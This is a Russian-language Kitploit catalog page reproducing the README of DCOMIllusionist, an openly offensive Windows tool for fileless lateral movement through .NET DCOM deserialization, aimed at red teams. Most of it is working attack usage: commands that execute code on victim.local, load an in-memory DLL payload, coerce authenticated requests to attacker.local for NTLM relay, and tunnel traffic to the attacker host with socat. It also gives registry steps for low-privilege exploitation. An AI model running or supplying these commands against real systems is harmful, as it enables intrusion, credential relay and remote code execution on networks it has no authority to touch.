Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
DCOMIllusionist — DCOM в памяти и бесфайловые техники латерального перемещения через .Net десериализацию | Kitploit
Инструменты/GitHubGitHub/synacktiv/dcomillusionist
Повышение привилегийЭксплуатацияЛатеральное перемещениеПост-эксплуатацияТестирование на ПроникновениеКомандование и УправлениеАутентификацияRed TeamingИнструмент Удаленного ДоступаРазработка Полезной Нагрузки
GitHubsynacktiv/dcomillusionist
283332 месяцев назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

DCOMIllusionist

DCOM в памяти и бесфайловые техники латерального перемещения через .Net десериализацию

Репозиторий
🎩✨🪄

DCOMIllusionist

Техника бесфайлового бокового перемещения в Windows.

Введение  •  Сборка  •  Использование  •  Технические подробности  •  Благодарности


Введение

Этот инструмент позволяет выполнять удалённый код на машине Windows при наличии административных привилегий. Он использует DCOM и особенность .NET DCOM-серверов, которые автоматически десериализуют входящие объекты. Это даёт возможность выполнять произвольные команды или загружать DLL без записи на диск.

Изначально обнаруженный Джеймсом Форшоу как метод повышения привилегий, этот способ был адаптирован для бокового перемещения путём удалённого изменения определённых ключей реестра. Кроме того, он поддерживает эксплуатацию между сеансами через DCOM, позволяя выполнять произвольные команды в сеансе другого пользователя в контексте безопасности этого сеанса.

Инструмент работает на рабочих станциях и серверах, но для работы этой техники требуется сетевой доступ между целевой машиной и машиной, контролируемой атакующим.

Более подробно в этом разделе.

Сборка

Доступен готовый релиз, либо можно собрать инструмент вручную:

root@kitploit:~
PS F:\> git clone https://github.com/synacktiv/DCOMIllusionist.git
PS F:\> cd DCOMIllusionist
PS F:\DCOMIllusionist> dotnet publish -c Release -r win-x64

Использование

root@kitploit:~
PS F:\> runas /u:LAB\adm /netonly powershell.exe
PS F:\> ./DCOMIllusionist.exe -t 10.10.10.10 --session 1 --curl http://attacker.local --attacker-sid <sid-adm>

[!IMPORTANT]
Для успешного использования этого инструмента требуются административные привилегии как на атакующем хосте (через повышенную оболочку), так и на целевой машине.

root@kitploit:~
Usage:
  DCOMIllusionist.exe [options] -t <target> (--ps-exec | --exec | --curl | --file-write-src | --load-dll | --yso-b64 | --test-network | --list-sessions)

Options:
  -h, --help                        Show this help message and exit
  -d, --debug                       Enable debug logging
  -t, --target <value>              Set the target hostname or IP
  -p, --port <value>                Set the target port (Default: 49765)
      --clsid <value>               Specify a CLSID (no curly braces)
      --appid <value>               Specify an AppID (no curly braces)
  -s, --session <value>             Provide a session identifier
   -l --listen <host>               Specify listener FQDN or IP
  -g, --gadget <value>              Specify gadget to use
      --attacker-sid <value>        Set the attacker's SID
      --no-port-check               Disable port availability check
      --restore-backup <path>       Restore registry from backup
      --local-registry-only         Only performs local registry modifications
      --remote-registry-only        Only performs remote registry modifications
      --skip-local-registry-setup   Skip local registry setup
      --skip-remote-registry-setup  Skip remote registry setup
      --hku                         Perform remote registry operations on HKCU instead of HKLM
      --fake-clsid                  Create fake CLSID with fake AppId

Attacks:
      --ps-exec <args>              Execute a command remotely using PSExec
      --exec <cmd>                  Execute a command remotely
      --exec-args <args>            Args to pass to the command
      --curl <url>                  Use curl-style web request payload
      --file-write-src <src>        File to write
      --file-write-dst <dst>        Destination path
      --load-dll <path>             Load a DLL into the remote process
      --dll-class <value>           Class in the DLL to execute (including namespace)
      --dll-method <value>          Static Method in the class to execute (Default: Run)
      --yso-b64 <b64>               Execute base64-encoded ysoserial payload
      --test-network                Check network access from target to attacker machine
      --list-sessions               List interactive sessions on the target

Examples:
    DCOMIllusionist.exe --target 192.168.1.10 --exec "whoami"
    DCOMIllusionist.exe -t victim.local -p 1337 --listen other.attacker.local --load-dll "payload.dll" --dll-class "Exploit" --session 2

CLSID:
    BFFECCA7-4069-49F9-B5AB-7CCBB078ED91 - System.ServiceModel.Internal.TransactionBridge           (Default)
    2A7B042D-578A-4366-9A3D-154C0498458E - System.Management.Instrumentation.ManagedCommonProvider
    37708080-3519-4ED6-91D5-A64B643863FB - Windows.Help.Runtime.CatalogRead

AppId:
    577289B6-6E75-11DF-86F8-18A905160FE0 - Windows Push Notification Platform Connection Provider   (Default)
    63766597-1825-407D-8752-098F33846F46 - CentennialLifetimeManagerConsoleOperator
    06C792F8-6212-4F39-BF70-E8C0AC965C23 - User Account Control Settings                            (Interactive user)
    D4872B74-3AFC-47CD-B8A2-9E4F998539BC - Remote Cloud Store Factory                               (Interactive user)

--session

Как уже объяснялось, можно указать сеанс для выполнения произвольной команды в сеансе другого пользователя.

[!WARNING] Это работает только с AppID, настроенными на запуск от имени интерактивного пользователя. Данное поведение обрабатывается автоматически: нет необходимости указывать аргумент --appid, поскольку инструмент по умолчанию использует AppID, связанный с Параметрами контроля учётных записей.

[!IMPORTANT] Работает только в том случае, если атакующая машина входит в домен; подробнее здесь.

--list-sessions

Показывает список удалённых интерактивных и активных сеансов на целевой машине с помощью WTSEnumerateSessions.

--listen

Если целевая машина не может напрямую подключиться к хосту атакующего, эксплуатация завершится неудачей. Однако можно указать промежуточную машину, к которой целевая система способна подключиться. С помощью таких инструментов, как socat, трафик затем можно перенаправить с этого промежуточного узла на хост атакующего.

прослушивание

  • На скомпрометированной машине:
root@kitploit:~
$ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:attacker.local:135
$ socat -v TCP-LISTEN:1337,fork,reuseaddr TCP:attacker.local:1337
  • На машине атакующего:
root@kitploit:~
PS F:\> ./DCOMIllusionist.exe -t victim.local -p 1337 --listen compromised.local --ps-exec whoami

--attacker-sid

При запуске эксплойта из оболочки runas /netonly связанная учётная запись не может быть определена автоматически. Поэтому для успешной атаки необходимо явно указать её с помощью опции --attacker-sid.

--exec

--exec можно использовать вместе с --exec-args для выполнения произвольных бинарных файлов на целевой машине:

root@kitploit:~
PS F:\> ./DCOMIllusionist.exe -t victim.local --exec powershell.exe --exec-args "-C calc"

[!NOTE] --ps-exec — это просто обёртка над ним; то же самое можно сделать с помощью: --ps-exec calc

--curl

Curl может быть полезен в сценариях межсеансовой эксплуатации. Если у вас есть административные привилегии на машине и, например, администратор домена активен в сеансе 3, можно инициировать аутентифицированный HTTP-запрос, полностью средствами .NET, от имени этого пользователя. Направив этот запрос на машину атакующего, на которой запущен ntlmrelayx.py, можно выполнить традиционные NTLM relay-атаки для компрометации пользователя.

root@kitploit:~
PS F:\> ./DCOMIllusionist.exe -t 10.10.10.10 --session 3 --curl http://attacker.local

--load-dll

Можно загрузить произвольную DLL полностью в память, не касаясь диска. Например:

root@kitploit:~
// Build: csc /target:library /optimize /out:Payload.dll Payload.cs
using System.Diagnostics;

public class Payload
{
  public static void Run()
  {
    Process.Start("calc");
  }
}
root@kitploit:~
PS F:\> ./DCOMIllusionist.exe -t victim.local --load-dll Payload.dll --dll-class Payload

По умолчанию выполняется статический метод Run (без параметров) указанного класса. Это поведение можно изменить с помощью параметра --dll-method.

--yso-b64

Для продвинутой генерации гаджетов можно использовать Ysoserial.net. Полученную Base64-кодированную нагрузку можно указать напрямую; она будет упакована в экземпляр RolePrincipal и десериализована на целевой машине.

[!WARNING] Работает только с BinaryFormatter

--test-network

Выполняет те же операции, что и обычный эксплойт, но отправляет только фиктивную нагрузку, чтобы подтвердить, что целевая машина может подключиться к машине атакующего.

--hku

Всё можно эксплуатировать от пользователя с низкими привилегиями, используя корневой ключ реестра HKEY_USERS вместо HKLM. Это применимо, если пользователь является членом группы Performance Log Users или Distributed COM Users. В этом случае необходимо указать --attacker-sid для доступа к правильному пути в реестре. Также необходимо указать доступный для записи CLSID (см. --fake-clsid):

root@kitploit:~
PS F:\> ./DCOMIllusionist.exe --target victim.local --clsid 1f0dd70c-df30-4b47-8ac4-f72aba8bff24 --exec calc.exe --attacker-sid S-1-5-21-2090540823-3895734423-2628300701-1003 --hku --appid 900f081a-a69d-4a92-9f33-72c141feee9a

--fake-clsid

Создаёт поддельные CLSID и AppId. На AppId устанавливаются разрешения, благодаря которым текущий пользователь или пользователь --attacker-sid сможет запускать и активировать DCOM-сервер. Это полезно при эксплуатации от пользователя с низкими привилегиями в разделе HKU.

root@kitploit:~
PS F:\> ./DCOMIllusionist.exe  --target victim.local --fake-clsid --attacker-sid S-1-5-21-2090540823-3895734423-2628300701-1003 --hku
[+] Creating fake CLSID
[+] New AppId: {900f081a-a69d-4a92-9f33-72c141feee9a}
[+] New CLSID: {1f0dd70c-df30-4b47-8ac4-f72aba8bff24}

Технические подробности

Когда DCOM-сервер, написанный на .NET, получает объект, он запрашивает DCOM-интерфейс IManagedObject. Если интерфейс присутствует, сервер вызывает метод GetSerializedBuffer. Клиент отвечает сериализованной версией объекта, которую сервер затем десериализует, что приводит к выполнению произвольного кода. Для успешного выполнения этого приёма машина-жертва должна иметь прямой сетевой доступ к хосту атакующего (см. --listen).

Технические подробности

Подделывая произвольные ссылки OBJREF DCOM, можно перенаправить целевую машину на любую удалённую систему. Например, socat можно использовать для проброса трафика на порту 135 (и любом другом порту) на реальную машину атакующего. В доказательстве концепции Джеймса Форшоу, которое позже стало основой для эксплойтов "Potato", он использовал GUID PointerMoniker для маршалинга произвольных объектов в OBJREF. Этот подход успешно вызывал аутентификацию, но не срабатывал на последующих этапах. Используя вместо этого GUID стандартного маршаллера, можно создавать и отправлять полнофункциональные произвольные OBJREF.

Однако на протестированных версиях Windows Server .NET DCOM-серверы по умолчанию не доступны извне. Чтобы обеспечить удалённое взаимодействие, можно удалённо изменить реестр Windows, связав пользовательский AppID с .NET CLSID, что сделает его доступным через DCOM. При тщательном выборе AppID также можно реализовать межсеансовую эксплуатацию через session-moniker, если на целевой машине присутствует интерактивный сеанс. Эта возможность также была обнаружена и подробно описана Джеймсом Форшоу здесь и здесь.

Чтобы эксплойт сработал, целевой сервер должен получить сериализованные данные объекта (гаджет) с машины атакующего. Для этого сервер должен пройти аутентификацию на хосте атакующего.

Если AppID не настроен на запуск от имени интерактивного пользователя, попытка аутентификации будет выполняться как Anonymous. Чтобы это стало возможным, машина атакующего должна быть настроена на приём анонимной DCOM-аутентификации путём изменения разрешений доступа DCOM по умолчанию.

Когда AppID связан с интерактивным пользователем, аутентификация выполняется с использованием учётной записи пользователя в указанном сеансе (через --session) или, по умолчанию, в сеансе 0. В этом случае машина атакующего должна быть в составе домена, чтобы принять аутентификацию пользователя. Именно поэтому группа Everyone временно добавляется в разрешения доступа DCOM по умолчанию для обеспечения успешной аутентификации.

Важно отметить, что изменяются только разрешения доступа по умолчанию; разрешения на запуск и активацию остаются без изменений. Все изменения откатываются после завершения операции. Если что-то пошло не так, создаётся резервная копия исходных настроек, которую можно восстановить.

[!CAUTION] Машина атакующего на время эксплуатации остаётся в более разрешающем состоянии, однако все изменения затем откатываются.

Благодарности

  • @tiraniddo за оригинальное исследование, это исследование и за oleviewdotnet; значительная часть его кода была использована в публичных C# offensive-инструментах, включая этот.
  • @nt0x4 за работу над гаджетом TextFormattingRunProperties; он показал, как загружать произвольную DLL в память. Это было использовано в атаках --curl и --file-write.
  • @cube0x0 за KrbRelay
  • @pwntester за Ysoserial.net
  • Дилан Тран и Джимми Бейн из IBM X-Force Red; частично вдохновлялись ForsHops.
Скачать инструмент